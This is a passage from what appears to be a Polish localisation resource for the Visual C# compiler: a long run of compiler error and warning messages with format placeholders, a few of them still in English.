ponieważ nie jest on widoczny spoza tego zestawu + Częściowe deklaracje elementu „{0}” mają niezgodne ograniczenia parametru typu „{1}” + Nie można znaleźć elementu „{0}” określonego dla metody Main + Użycie pola klasy marshal-by-reference jako wartości ref lub out albo pobranie jego adresu może spowodować wyjątek czasu wykonywania + i wzorzec + Nie podano argumentu odpowiadającego wymaganemu parametrowi „{0}” z „{1}” + Nazwa „{0}” nie jest zgodna z odpowiednim parametrem „Deconstruct” „{1}”. + Podany rodzaj kodu źródłowego jest nieobsługiwany lub nieprawidłowy: „{0}” + Zwraca to przez odwołanie składową parametru o zakresie do bieżącej metody + Nie można określić wartości domyślnej dla tablicy parametrów + Ustawiono przypisanie do tej samej zmiennej + Nieprawidłowa nazwa symbolu przetwarzania wstępnego; „{0}” nie jest prawidłowym identyfikatorem + 'Element „{0}” nie może implementować jednocześnie elementu „{1}” i „{2}”, ponieważ mogą się one łączyć przy niektórych podstawieniach parametrów typu. + Typ „{0}” przesłany do zestawu „{1}” powoduje konflikt z typem „{2}” wyeksportowanym z modułu „{3}”. + Typ „{2}” musi być nienullowalnym typem wartości, aby można było użyć go jako parametru „{1}” w typie ogólnym lub metodzie ogólnej „{0}”. + Typów statycznych nie można używać jako typów zwracanych + Metoda ma nieprawidłową sygnaturę i nie może być punktem wejścia + Zduplikowany modyfikator „{0}” + kontrawariantnie + Wzorców list nie można używać na potrzeby wartości typu „{0}”. + Nie można przekonwertować {0} na typ "{1}", ponieważ zwracany typ jest niezgodny ze zwracanym typem delegowania + Słowo kluczowe, identyfikator lub ciąg oczekiwany po specyfikatorze kalki: @. + Modyfikator „{0}” nie jest prawidłowy dla tego elementu w języku C# {1}. Użyj wersji języka „{2}” lub nowszej. + W jawnej implementacji interfejsu „{0}” brakuje metody dostępu „{1}” + 'Element „{2}” musi być typem nieabstrakcyjnym z publicznym konstruktorem bez parametrów, aby można go było użyć jako parametru „{1}” w typie ogólnym lub metodzie „{0}”. + „{0}”: typ zawierający nie implementuje interfejsu „{1}” + „{0}”: Struktury ref nie mogą implementować interfejsów + '{0}' metody nie może być rodzajowa lub musi mieć {1} liczby argumentów, aby była zgodna z '{2}'. + Nie można znaleźć implementacji wzorca zapytania dla typu źródłowego „{0}”. Nie znaleziono elementu „{1}”. Być może brakuje wymaganych odwołań do zestawów lub używasz dyrektywy dla przestrzeni nazw „System.Linq”. + Zdefiniowane przez użytkownika operatory nie mogą zwracać wartości void + Obsługa wartości null dla typów referencyjnych w typie parametru jest niezgodna z niejawnie implementowaną składową. + literały binarne + Nie można utworzyć tablicy z ujemnym rozmiarem + likwidacja oparta na wzorcu + klasy statyczne + ograniczenia dla przesłonięć i jawnych metod implementacji interfejsu + Nie można używać instrukcji yield wewnątrz metody anonimowej lub wyrażenia lambda. + Typ „{0}” nie może być osadzony, ponieważ ma on argument ogólny. Rozważ ustawienie wartości false dla właściwości „Osadź typy międzyoperacyjne”. + Plik źródłowy przekroczył limit 16 707 565 wierszy reprezentowanych w pliku PDB; informacje o debugowaniu będą niepoprawne + struktury ref + operator indeksowania + 'Element „{0}” nie implementuje składowej interfejsu „{1}”. Element „{2}” nie jest publiczny. + Argument InterpolatedStringHandlerArgument nie odniesie żadnego skutku po zastosowaniu do parametrów lambda i zostanie zignorowany w lokacji wywołania. + Element „{1}” nie definiuje parametru typu „{0}” + Nie używaj elementu „_” dla stałej case. + Typ odbiorcy "{0}" nie jest prawidłowym typem rekordu i nie jest typem struktury. + Operator typeof nie może zostać użyty dla typu dynamicznego + Argument operatora zwiększania lub zmniejszania musi być zmienną, właściwością lub indeksatorem. + Przełącznik /embed jest obsługiwany tylko w przypadku emitowania pliku PDB. + Podanego wyrażenia nie można użyć w instrukcji fixed + 'Element „{0}” nie może być zewnętrzny i abstrakcyjny + Wymagany jest obiekt, który można przekonwertować na typ „{0}” + Nie można utworzyć wystąpienia klasy statycznej „{0}” + Użycie prawdopodobnie nieprzypisanego pola „{0}” + Przypadek switch jest nieosiągalny. Został on już obsłużony przez poprzednią instrukcję case albo nie można go dopasować. + 'Element „{0}” ukrywa odziedziczoną składową „{1}”. Użyj słowa kluczowego new, jeśli ukrycie jest zamierzone. + Nieprawidłowy znak Unicode. + Wyrażeń lambda, które zwracają wartość przez referencję, nie można przekonwertować na drzewa wyrażeń + Nie można zdefiniować klasy lub składowej, która wykorzystuje krotki, ponieważ nie można znaleźć wymaganego typu kompilatora „{0}”. Czy brakuje odwołania? + Błąd podczas podpisywania danych wyjściowych za pomocą klucza publicznego z pliku „{0}” — {1} + „{0}”: nie można jednocześnie określić klasy ograniczenia i ograniczenia „class” lub „struct” + Metody anonimowe, wyrażenia lambda, wyrażenia zapytań i funkcje lokalne wewnątrz struktury nie mogą uzyskać dostępu do głównego parametru konstruktora używanego również wewnątrz członka wystąpienia. + Obsługa wartości null dla typów odwołania w typie parametru jest niezgodna z metodą możliwą do przechwycenia. + Dyrektywa „using static” może być stosowana tylko do typów. Element „{0}” to przestrzeń nazw, a nie typ. Zamiast tego rozważ użycie dyrektywy „using namespace” + Nie można użyć wyrażenia lambda jako argumentu do operacji przydzielanej dynamicznie bez uprzedniego rzutowania go na delegata lub typ drzewa wyrażenia. + Wartości zwracanych przez wartość można użyć tylko w metodach zwracających wartość + Nie można używać wyniku wyrażenia stackalloc typu „{0}” w tym kontekście, ponieważ może zostać ujawniony poza metodą zawierającą + atrybuty ogólne + Wyrażenie filtru jest stałą wartością „true”, rozważ usunięcie tego filtru + Określono nieprawidłowy typ jako argument dla atrybutu TypeForwardedTo. + Nie można utworzyć delegata z „{0}”, ponieważ on albo metoda, którą przesłania, ma atrybut „Conditional” + Użycie domyślnego literału nie jest prawidłowe w tym kontekście + Nieoczekiwane słowo kluczowe „unchecked” + Lista wymaganych składowych dla „{0}” jest źle sformułowana i nie można jej zinterpretować. + Nie można niejawnie przekonwertować typu „{0}” na „{1}”. Istnieje konwersja jawna (czy nie brakuje rzutu?). + Wystąpienia analizatora {0} nie można utworzyć z elementu {1}: {2}. + Dyrektywa using występowała wcześniej w tej przestrzeni nazw + Komentarz XML zawiera atrybut cref, którego nie można rozpoznać + Nie można odwołać się do atrybutu „System.Runtime.CompilerServices.TupleElementNamesAttribute” jawnie. Użyj składni krotek, aby zdefiniować nazwy krotek. + Nieprawidłowy numer + Delegat „{0}” nie przyjmuje argumentów {1} + 'Element „{0}” ukrywa dziedziczoną, abstrakcyjną składową „{1}” + Zduplikowany parametr typu „{0}” + Najlepsza przeciążona metoda Add dla elementu inicjatora kolekcji jest przestarzała + dopasowanie wzorca ReadOnly/Span<char> w ciągu stałym + Podano różne sumy kontrolne dla elementu „{0}” + „{0}”: typ zdarzenia musi być zgodny z typem delegowanym + Atrybut EnumeratorCancellationAttribute zastosowany dla parametru „{0}” nie będzie miał żadnego efektu. Atrybut jest uwzględniany tylko dla parametru typu CancellationToken w asynchronicznej metodzie iteratora zwracającej interfejs IAsyncEnumerable. + Oczekiwano wyrażenia po instrukcji yield return + Przełącznik /sourcelink jest obsługiwany tylko w przypadku emitowania pliku PDB. + Obsługa wartości null dla typów referencyjnych w wartości jest niezgodna z typem docelowym. + Obsługa wartości null dla typów referencyjnych w typie parametru jest niezgodna z implementowaną składową. + Pierwszy argument atrybutu zabezpieczeń musi być prawidłową wartością SecurityAction + „{0}”: zdarzenie extern nie może mieć inicjatora + Nie używaj atrybutu "System.Runtime.CompilerServices.ScopedRefAttribute". Zamiast tego użyj słowa kluczowego „scoped”. + Nie można używać kontekstowego słowa kluczowego „var” w deklaracji zmiennej zakresu + Nieprawidłowy alias zewnętrzny dla opcji „/reference”; wartość „{0}” nie jest prawidłowym identyfikatorem + Składowa ukrywa dziedziczoną składową; brak słowa kluczowego override + Atrybut FieldOffset można umieścić tylko w składowych o typie oznaczonym przy użyciu atrybutu StructLayout(LayoutKind.Explicit). + Komentarz XML zawiera zduplikowany tag param + bezpieczeństwo wariancji dla elementów członkowskich interfejsu statycznego + typ + „{0}”: typów statycznych nie można używać jako argumentów typu. + Wyrażenie throw jest niedozwolone w tym kontekście. + Wyrażenie switch nie obsługuje niektórych wartości typu wejściowego (nie jest wyczerpujące) obejmujących nienazwaną wartość wyliczenia. + Zastosowanie elementu CallerLineNumberAttribute do parametru „{0}” nie odniesie żadnego skutku, ponieważ dotyczy składowej, która jest używana w kontekstach niezezwalających na argumenty opcjonalne + Oczekiwano operatora binarnego z możliwością przeciążenia + Nie odnaleziono najlepszego typu dla tablicy o typie określonym niejawnie. + Białe znaki są niedozwolone w tej lokalizacji. + Komentarz XML nie został umieszczony w prawidłowym elemencie języka + Nie można użyć ujemnego rozmiaru w przypadku słowa kluczowego stackalloc + Błąd składni wiersza polecenia: brak elementu „{0}” dla opcji „{1}” + Wskaźniki i bufory o ustalonym rozmiarze mogą zostać użyte tylko w kontekście słowa kluczowego „unsafe” + Przeciążona metoda różniąca się tylko nienazwanymi typami tablicy nie jest zgodna ze specyfikacją CLS + Wartość parametru ze specyfikatorem out musi być przypisana, zanim sterowanie wyjdzie z metody + Błąd kompilacji zasobów Win32 — {0} + W drzewach wyrażeń nie można używać metod częściowych zawierających tylko deklarację definiującą ani usuniętych metod warunkowych. + Nazwa elementu krotki „{0}” została wywnioskowana. Użyj wersji języka {1} lub nowszej, aby uzyskać dostęp do elementu według jego wywnioskowanej nazwy. + Możliwe niezamierzone porównanie odwołań. Aby porównać wartości, wykonaj rzutowanie prawej strony na typ „{0}” + Komentarz XML zawiera zduplikowany tag typeparam + Użyto nieprzypisanej zmiennej lokalnej „{0}” + Typy i aliasy nie mogą mieć nazwy „file”. + Atrybut CallerMemberNameAttribute nie odniesie żadnego skutku; zostanie on zastąpiony przez atrybut CallerLineNumberAttribute + Zestaw „{0}” z tożsamością „{1}” używa elementu „{2}”, który ma wyższą wersję niż przywoływany zestaw „{3}” z tożsamością „{4}” + Zwraca to parametr przez odwołanie „{0}” za pomocą parametru ref, ale można go bezpiecznie zwrócić tylko w instrukcji return + Nieogólnego elementu {1} „{0}” nie można używać z argumentami typu. + inicjatory pola struktury + Nazwa zestawu „{0}” jest zarezerwowana i nie można jej użyć jako odwołania w sesji interaktywnej + Nie można użyć elementów „ref”, „in” ani „out” w sygnaturze metody z atrybutem „UnmanagedCallersOnly”. + Typ definiuje operator == lub !=, ale nie przesłania metody Object.Equals(object o) + Nie można użyć parametru '{0}', który ma typ przypominający odwołanie wewnątrz metody anonimowej, wyrażenia lambda, wyrażenia zapytania lub funkcji lokalnej + „{0}”: typ musi być „{2}”, aby być zgodnym z przesłoniętą składową „{1}” + Operator LUB działający na bitach został użyty względem argumentu ze znakiem. Rozważ możliwość wcześniejszego rzutowania na mniejszy typ bez znaku. + Wyrażenie filtru jest stałą wartością „false” + Nie można użyć buforów o ustalonym rozmiarze zawartych w wyrażeniach unfixed. Spróbuj użyć instrukcji fixed. + Nie można pobrać adresu podanego wyrażenia + Drzewo wyrażenia nie może zawierać „{0}” + Nie można określić wartości domyślnej parametru w połączeniu z klasami DefaultParameterAttribute lub OptionalAttribute + Nie można użyć typu „{2}” jako parametru typu „{1}” w typie ogólnym lub metodzie „{0}”. Obsługa wartości null w argumencie typu „{2}” jest niezgodna z ograniczeniem „class”. + Nie znaleziono odpowiedniego wystąpienia „Deconstruct” lub metody rozszerzenia dla typu „{0}” z {1} parametrami wyjściowymi i typem zwracanym void. + Element „{0}” jest jawnie zaimplementowany więcej niż raz. + Metoda rozszerzenia musi być zdefiniowana w nieogólnej klasie statycznej. + Attribute parameter 'SizeConst' must be specified. + 'Typ elementu „{0}” to „{1}”. Pole stałe typu referencyjnego innego niż string można zainicjować tylko przy użyciu wartości null. + Element „{0}” nie jest prawidłowym specyfikatorem konwencji wywoływania dla wskaźnika funkcji. + Obsługa wartości null dla typów referencyjnych w typie zwracanym jest niezgodna z implementowaną składową „{0}”. + Ograniczenie „new()” nie może być używane z ograniczeniem „struct” + Element „__arglist” jest niedozwolony na liście parametrów metod asynchronicznych. + Nie można przechwycić: kompilacja nie zawiera pliku ze ścieżką „{0}”. + Nie można użyć operatora „{0}” w tym miejscu z powodu pierwszeństwa. Użyj nawiasów w celu rozróżnienia. + Parametr musi mieć wartość inną niż null podczas kończenia działania. + Nie używaj „System.Runtime.CompilerServices.ExtensionAttribute”. Zamiast niego użyj słowa kluczowego „this”. + wymagane składowe + Oczekiwano metody dostępu Add lub Remove + Kontrolka nie może opuścić tekstu metody anonimowej lub wyrażenia lambda. + Przestarzała składowa przesłania nieprzestarzałą składową + Przekazywanie elementu „{0}” jest nieprawidłowe, chyba że element „{1}” ma wartość „SignatureCallingConvention.Unmanaged". + Ograniczenie typu klasy „{0}” musi występować przed wszystkimi innymi ograniczeniami + Użycie prawdopodobnie nieprzypisanej automatycznie implementowanej właściwości „{0}” + Zestaw analizatora „{0}” odwołuje się do wersji „{1}” kompilatora, która jest nowsza niż obecnie uruchomiona wersja „{2}”. + Element „{0}” musi odpowiadać zwracanej przez referencję przesłoniętej składowej „{1}” + Zastosowanie elementu CallerFilePathAttribute nie odniesie żadnego skutku; zostanie on przesłonięty przez element CallerLineNumberAttribute + Grupy metod rozszerzeń nie są dozwolone jako argument elementu „nameof”. + Nie można zainicjować zmiennej dostępnej przez wartość za pomocą odwołania + Treść metody iteratora asynchronicznego musi zawierać instrukcję „yield”. Rozważ usunięcie modyfikatora „async” z deklaracji metody lub dodanie instrukcji „yield”. + Element „{0}” nie zawiera definicji „{1}” i nie odnaleziono dostępnej metody rozszerzenia „{1}”, która przyjmuje pierwszy argument typu „{0}” (czy nie brakuje dyrektywy using lub odwołania do zestawu?). + Elementu {1} „{0}” nie można używać z argumentami typu. + Nie można używać wyrażenia w tym kontekście, ponieważ pośrednio może ujawniać zmienne poza ich zakresem deklaracji + Parametr konwersji procedury obsługi ciągu interpolowanego występuje po parametrze procedury obsługi + Metoda częściowa nie może mieć wielu deklaracji definiujących. + Atrybut CallerArgumentExpressionAttribute zastosowany do parametru "{0}" nie odniesie żadnego skutku. Zastosowano go z nieprawidłową nazwą parametru. + Odwołanie do zestawu „{0}” jest nieprawidłowe i nie można go rozpoznać + To odwołanie przypisuje wartość, która ma węższy zakres ucieczki niż element docelowy. + Klasy statyczne nie mogą mieć konstruktorów wystąpienia. + Operator „await” wymaga, aby typ {0} miał odpowiednią metodę „GetAwaiter” + Nie można używać składowej wyniku elementu „{0}” w tym kontekście, ponieważ może uwidaczniać zmienne przywoływane przez parametr „{1}” poza ich zakresem deklaracji + Niejawnie typizowany parametr wyrażenia lambda „{0}” nie może mieć wartości domyślnej. + Typ „{1}” już rezerwuje składową o nazwie „{0}” z tymi samymi typami parametrów + Właściwość implementowana automatycznie „{0}” nie może być zadeklarowana jako „readonly”, ponieważ ma metodę dostępu „set”. + Typ argumentu nie jest zgodny ze specyfikacją CLS + Nierozpoznana sekwencja ucieczki + Parametr nie ma zgodnego tagu param w komentarzu XML (ale inne parametry mają ten tag) + Wyrażenie switch nie obsługuje niektórych danych wejściowych o wartości null. + Dziedziczony interfejs „{1}” jest przyczyną wystąpienia cyklu w hierarchii interfejsów „{0}” + Nie można odnaleźć nazwy typu lub przestrzeni nazw „{0}” w globalnej przestrzeni nazw (czy nie brakuje odwołania do zestawu?) + Nie można przechwycić „{0}”, ponieważ nie jest to wywołanie zwykłej metody składowej. + Nie można zdefiniować oczekiwania w wyrażeniu filtru klauzuli „catch” + Wyrażenia inicjatora tablicy mogą być używane tylko w celu przypisania wartości do typów tablicowych. Zamiast tego spróbuj użyć wyrażenia „new”. + Konwertowanie literału null lub możliwej wartości null na nienullowalny typ. + Zmienne o typie określonym niejawnie muszą być inicjowane + Deklaracja parametru typu musi być identyfikatorem, a nie typem + konstruktory podstawowe + Automatycznie implementowana właściwość „{0}” musi być w pełni przypisana, zanim kontrolka zostanie zwrócona do obiektu wywołującego. Rozważ zaktualizowanie do wersji językowej „{1}”, aby automatycznie ustawić domyślną właściwość. + „{0}”: nowa chroniona składowa zadeklarowana w strukturze + „{0}”: klasy statyczne nie mogą zawierać chronionych składowych + Obiekt „this” jest odczytywany przed przypisaniem wszystkich jego pól, co powoduje, że wcześniejsze niejawne przypisania wartości „default” są przypisywane do pól nieprzypisanych jawnie. + „{0}”: nie można zadeklarować składowych wystąpienia w klasie statycznej + Kontrolka jest zwracana do obiektu wywołującego przed jawnym przypisaniem właściwości, co powoduje wcześniejsze niejawne przypisanie wartości „default”. + Pliki wykonywalne nie mogą być zestawami satelity, element Culture powinien zawsze być pusty + W metodzie brakuje adnotacji „[DoesNotReturn]”, aby można było dopasować zaimplementowaną lub przesłoniętą składową. + Użycie słowa kluczowego „base” jest nieprawidłowe w tym kontekście + Typ „{0}” jest zdefiniowany w nieprzywoływanym zestawie. Musisz dodać odwołanie do zestawu „{1}”. + 'Element „{0}” dodaje metodę dostępu, której nie znaleziono w składowej interfejsu „{1}” + Nierozpoznana opcja: „{0}” + Metody asynchroniczne są niedozwolone w interfejsach, klasach lub strukturach z atrybutem „SecurityCritical” lub „SecuritySafeCritical”. + Nie można zastosować atrybutu CallerArgumentExpressionAttribute, ponieważ nie ma standardowych konwersji z typu "{0}" na typ "{1}" + Pierwszy argument operacji operatora „is” lub „as” nie może być wyrażeniem lambda, metodą anonimową ani grupą metod. + Dostęp do tablicy nie może mieć specyfikatora argumentu nazwanego + Nie można użyć grupy metod jako argumentu do operacji przydzielanej dynamicznie. Czy zamierzane było wywołanie metody? + operator zakresu + Pola tylko do odczytu nie można użyć jako wartości ref ani out (z wyjątkiem sytuacji, gdy znajduje się w konstruktorze) + Nie można przechwycić wywołania w pliku ze ścieżką „{0}”, ponieważ wiele plików w kompilacji ma tę ścieżkę. + Wywołano metodę GetDeclarationName dla węzła deklaracji, który może zawierać wiele deklaratorów zmiennych. + Ten błąd występuje, gdy przeciążona metoda korzysta z tablicy nieregularnej i jedyną różnicą między sygnaturami metod jest typ elementu tablicy. Aby uniknąć tego błędu, rozważ użycie tablicy regularnej zamiast tablicy nieregularnej, użyj dodatkowego parametru w celu odróżnienia wywołania funkcji, zmień nazwy przeciążonych metod lub usuń atrybut CLSCompliantAttribute, jeśli zgodność ze specyfikacją CLS nie jest wymagana. + Wyrażenie switch nie obsługuje wszystkich możliwych wartości jego typu danych wejściowych (nie jest kompletne). Na przykład wzorzec „{0}” nie jest uwzględniony. Jednak wzorzec z klauzulą „when” może być zgodny z tą wartością. + Nazwy elementów krotki w podpisie metody „{0}” muszą być zgodne z nazwami elementów krotki metody interfejsu „{1}” (w tym w zwracanym typie). + Obiekt „this” jest odczytywany przed przypisaniem wszystkich jego pól, co powoduje, że wcześniejsze niejawne przypisania wartości „default” są przypisywane do pól nieprzypisanych jawnie. + Zwraca to przez odwołanie składową parametru „{0}” w zakresie do bieżącej metody + Zduplikowany atrybut „{0}” w elemencie „{1}” + funkcja async + Nieprawidłowy format informacji debugowania: {0} + Instrukcja goto nie może przechodzić do lokalizacji występującej przed deklaracją using w tym samym bloku. + Tylko do inicjowania powinny być obie metody dostępu „{0}” i „{1}” albo żadna z nich + Metody asynchroniczne nie mogą mieć parametrów typu wskaźnika + Instrukcja nie może rozpoczynać się od elementu „else”. + Składowa przesłania przestarzałą składową + Nie można przypisać do {0} „{1}” lub użyć go jako prawej strony przypisania odwołania, ponieważ jest to zmienna tylko do odczytu + Składnia „var” dla wzorca nie może odwoływać się do typu, ale element „{0}” należy tutaj do zakresu. + Metody asynchroniczne nie mogą mieć zmiennych lokalnych dostępnych przez odwołanie + Argument {0} should be passed with the 'in' keyword + ogólne ograniczenie typu notnull + Tylko właściwości zaimplementowane automatycznie mogą mieć inicjatory. + Element „struct” z inicjatorami pól musi zawierać jawnie zadeklarowanego konstruktora. + Nie można utworzyć krótkiej nazwy pliku „{0}”, jeśli już istnieje długa nazwa pliku, której krótka wersja jest taka sama + Typ parametru operatora ++ lub -- musi być typem zawierającym lub jest on parametrem typu ograniczonym do niego. + Typ pliku lokalnego „{0}” musi być zdefiniowany w typie najwyższego poziomu; „{0}” jest typem zagnieżdżonym. + Atrybut „{0}” nie jest prawidłowy w metodach dostępu zdarzenia. Jest on prawidłowy tylko w deklaracjach „{1}”. + #warning: „{0}” + Składowa statyczna nie może być oznaczona jako „{0}” + Nie można określić modyfikatorów „readonly” jednocześnie dla właściwości lub indeksatora „{0}” i jego metody dostępu. Usuń jeden z nich. + Pole jest odczytywane przed jawnym przypisaniem, co powoduje wcześniejsze niejawne przypisanie wartości „default”. + Podana liczba wierszy i znaków nie odwołuje się do nazwy metody możliwej do przechwycenia, ale do tokenu „{0}”. + Lewa strona przypisania musi być zmienną, właściwością lub indeksatorem + Docelowe środowisko uruchomieniowe nie obsługuje typów tablic śródwierszowych. + Dla składowej „{0}” ze specyfikatorem override nie można określić specyfikatora new ani virtual + Obydwie częściowe deklaracje metody, „{0}” i „{1}”, muszą korzystać z tych samych nazw elementów krotki. + Dopuszczanie wartości null dla typów referencyjnych w typie parametru „{0}” z elementu „{1}” nie jest zgodne z zaimplementowaną składową „{2}” (prawdopodobnie z powodu atrybutów dopuszczania wartości null). + Składowe struktury nie mogą zwracać obiektu „this” ani innych składowych wystąpienia przez referencję + „{0}”: nie wszystkie ścieżki w kodzie zwracają wartość + Nie można używać wyniku elementu „{0}” w tym kontekście, ponieważ może uwidaczniać zmienne przywoływane przez parametr „{1}” poza ich zakresem deklaracji + Wyrażenie switch nie obsługuje wszystkich możliwych wartości typu wejściowego (nie jest wyczerpujące). Na przykład nie jest uwzględniony wzorzec „{0}”. + Nie można przesłać typu „{0}”, ponieważ jest to zagnieżdżony typ „{1}” + Oczekiwano jednowierszowego komentarza lub znacznika końca wiersza. + Ograniczenie nie może być typu dynamicznego + Wartość parametru ze specyfikatorem out „{0}” musi być przypisana zanim sterowanie wyjdzie z bieżącej metody + Nieprawidłowa nazwa symbolu przetwarzania wstępnego; nie jest prawidłowym identyfikatorem + Sufiks „l” z łatwością można pomylić z cyfrą „1” — w celu zachowania jednoznaczności użyj sufiksu „L” + 'Element „{0}” w jawnej deklaracji interfejsu nie jest interfejsem + dostęp do macierzy + Odbiorca wyrażenia „with” musi mieć typ inny niż void. + „{0}” nie może przesłonić „{1}”, ponieważ nie jest to obsługiwane przez język + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + Właściwość lub indeksator „{0}” tylko do inicjowania można przypisać tylko w inicjatorze obiektu, w elemencie „this” lub „base” w konstruktorze wyrażenia albo w metodzie dostępu „init”. + Nie można przekonwertować &grupy metod „{0}” na typ delegata „{1}”. + Modyfikator parametru „{0}” nie może być używany z elementem „{1}” + Nazwy elementów nie są dozwolone przy dopasowywaniu wzorca za pośrednictwem elementu „System.Runtime.CompilerServices.ITuple”. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + Nie można przypisać wartości ref „{1}” do „{0}”, ponieważ „{1}” ma szerszy zakres ucieczki wartości niż „{0}”, umożliwiając przypisanie za pośrednictwem „{0}” wartości z węższymi zakresami ucieczki niż „{1}”. + Nie można osadzić typu „{0}”, ponieważ zawiera ponowną abstrakcję składowej z interfejsu podstawowego. Rozważ ustawienie właściwości „Osadź typy międzyoperacyjne” na wartość false. + Składowej „{0}”, której nie można wywoływać, nie można używać jak metody. + Wartość ref lub out musi być zmienną umożliwiającą przypisanie + Klasa SyntaxTreeSemanticModel musi być dostępna, aby zapewnić minimalną kwalifikację typu. + Atrybut CallerMemberNameAttribute nie odniesie żadnego skutku; ponieważ jest on zastąpiony przez atrybut CallerFilePathAttribute + Generator nie mógł przeprowadzić inicjalizacji. + Typ „{0}” jest zdefiniowany w module, który nie został dodany. Musisz dodać moduł „{1}”. + Wyrażenie warunkowe nie może być używane bezpośrednio w interpolacji ciągu, ponieważ znak „:” kończy interpolację. Umieść wyrażenie warunkowe w nawiasie. + Przestrzeń nazw „{1}” w elemencie „{0}” powoduje konflikt z typem „{3}” w elemencie „{2}” + „{0}”: konstruktor statyczny nie może mieć parametrów + W parametrze wyjściowym nie może występować atrybut wejściowy. + Nie można używać argumentów z modyfikatorem „in” w wyrażeniach przydzielanych dynamicznie. + grupa metod + Iterator asynchroniczny „{0}” ma co najmniej jeden parametr typu „CancellationToken”, ale żaden z nich nie ma atrybutu „EnumeratorCancellation” i dlatego zostanie wykorzystany parametr tokenu anulowania z wygenerowanego elementu „IAsyncEnumerable<>.GetAsyncEnumerator” + Atrybut MemberNotNull + Do pola nigdy nie jest przypisywana wartość i będzie ono mieć zawsze wartość domyślną + Metoda „{0}” zawiera modyfikator parametru „this”, który nie znajduje się w pierwszym parametrze + Nie można używać znaków cudzysłowu spoza zestawu znaków ASCII wokół literałów ciągu. + Klasa bazowa jest wymagana dla odwołania „base” + Nieoczekiwana dyrektywa preprocesora + Konwersja unboxing wartości, która może być wartością null. + Nie można użyć typu „{2}” jako parametru typu „{1}” w typie ogólnym lub metodzie „{0}”. Obsługa wartości null w argumencie typu „{2}” jest niezgodna z ograniczeniem „notnull”. + Sprawdzanie zgodności ze specyfikacja CLS nie zostanie wykonane dla elementu „{0}”, ponieważ nie jest on widoczny spoza tego zestawu + Dyrektywa użycia w przypadku "{0}" pojawiła się wcześniej jako użycie globalne + „{0}”: nie można przesłonić, ponieważ element „{1}” nie jest właściwością + Wyrażenie typu „{0}” nie może być obsługiwane przez wzorzec typu „{1}” w języku C# {2}. Użyj języka w wersji {3} lub nowszej. + Zmienna „{0}” jest przypisana, lecz jej wartość nie jest nigdy używana + Nie można zastosować operatora „{0}” do elementu „default” i operandu typu „{1}”, ponieważ jest to parametr typu, który nie jest znany jako typ referencyjny + Adnotacja dla typów referencyjnych dopuszczających wartość null powinna być używana tylko w kodzie z kontekstem adnotacji „#nullable”. + Nazwa elementu krotki „{0}“ jest dozwolona tylko na pozycji {1}. + Więcej niż jeden modyfikator ochrony + Komentarz XML zawiera składniowo niepoprawny atrybut cref „{0}” + Zestaw analizatora odwołuje się do nowszej wersji kompilatora niż obecnie uruchomiona wersja. + 'Element „{0}” nie jest obsługiwany przez język. + Komentarz XML ma tag paramref, ale nie ma parametru o takiej nazwie + Operatora „await” można używać tylko wewnątrz metody asynchronicznej. Rozważ możliwość oznaczenia tej metody za pomocą modyfikatora „async” i zmiany zwracanego przez nią typu na „Task”. + Nie można użyć ref, out lub w podstawowym parametrze konstruktora '{0}' wewnątrz elementu członkowskiego wystąpienia + Nie można zaktualizować elementu „{0}”. Brak atrybutu „{1}”. + niepodpisane przesunięcie w prawo + Nie można określić opcji /main, jeśli istnieje jednostka kompilacji z instrukcjami najwyższego poziomu. + Podstawowy parametr konstruktora typu tylko do odczytu nie może być użyty jako wartość ref lub out (z wyjątkiem inicjującego settera typu lub inicjalizatora zmiennej) + Zastosowanie elementu CallerMemberNameAttribute nie odniesie żadnego skutku; zostanie on przesłonięty przez element CallerFilePathAttribute + „{0}”: w typie zapieczętowanym została zadeklarowana nowa chroniona składowa + Nie można przejść z jednej etykiety instrukcji case („{0}”) do innej + Nie można przekonwertować elementu {0} na typ „{1}”, ponieważ nie jest to typ delegowany + Wyrażenia lambda z treścią instrukcji nie można skonwertować na drzewo wyrażenia. + Metoda „{0}” określa ograniczenie „default” dla parametru typu „{1}”, lecz odpowiadający parametr typu „{2}” przesłoniętej lub jawnie zaimplementowanej metody „{3}” jest ograniczony do typu odwołania lub typu wartości. + Modyfikator „scoped” parametru nie jest zgodny z przesłoniętą lub zaimplementowaną składową. + Mieszane deklaracje i wyrażenia w dekonstrukcji + Kompilator Microsoft (R) Visual C# + Wiersz zawiera inny biały znak niż wiersz zamykający literału nieprzetworzonego ciągu: „{0}” a „{1}” + Nie można przekonwertować typu „{0}” na „{1}” za pomocą konwersji odwołania, konwersji pakującej, konwersji rozpakowującej, konwersji opakowującej ani konwersji na typ zerowy + 'Element „{0}” jest przeznaczony wyłącznie do celów ewaluacyjnych i może zostać zmieniony albo usunięty w przyszłych aktualizacjach. + Wskaźnik musi być indeksowany tylko przez jedną wartość + '{0}' ma atrybut CollectionBuilderAttribute, ale nie ma typu elementu. + Używanie typu wskaźnika funkcji w tym kontekście nie jest obsługiwane. + Nieprawidłowy numer ostrzeżenia + Obie metody częściowe muszą być zadeklarowane jako readonly lub żadna nie może być zadeklarowana jako readonly + zmienne lokalne i wartości zwracane byref + Atrybut CallerArgumentExpressionAttribute zastosowany do parametru „{0}” nie będzie działać, ponieważ jego odwołanie jest samodzielne. + Nie można przekazać argumentu z dynamicznym typem do parametru params „{0}” lokalnej funkcji „{1}”. + Osadzona metoda międzyoperacyjna „{0}” zawiera treść. + Najlepsza przeciążona metoda Add „{0}” dla elementu inicjatora kolekcji jest przestarzała. + dynamiczny + Nie można użyć zmiennej lokalnej „{0}” przed jej zadeklarowaniem. Deklaracja zmiennej lokalnej powoduje ukrycie pola „{1}”. + Nazwa elementu krotki została zignorowana, ponieważ po drugiej stronie operatora == lub != krotki określono inną nazwę lub nie określono żadnej nazwy. + instrukcja foreach w tablicy wbudowanej typu '{0}' nie jest obsługiwana + Składowa musi mieć wartość inną niż null podczas kończenia działania. + Indeks znajduje się poza granicami tablicy śródwierszowej. + Nie można zdefiniować/usunąć definicji symboli preprocesora po pierwszym tokenie w pliku. + Nie można równocześnie określić opcji kompilacji „{0}” i „{1}”. + instrukcje najwyższego poziomu + Zastosowanie elementu CallerMemberNameAttribute nie odniesie żadnego skutku, ponieważ dotyczy on składowej, która jest używana w kontekstach niezezwalających na argumenty opcjonalne + Operacja przepełnia się w czasie kompilowania w trybie sprawdzonym + kwalifikator aliasu przestrzeni nazw + Instrukcja throw bez żadnych argumentów jest niedozwolona poza klauzulą catch + Nieprawidłowy operand dla dopasowania wzorca; wymagana jest wartość, a znaleziono „{0}”. + Instrukcja foreach nie może działać na modułach wyliczających typu „{0}” w metodach asynchronicznych lub 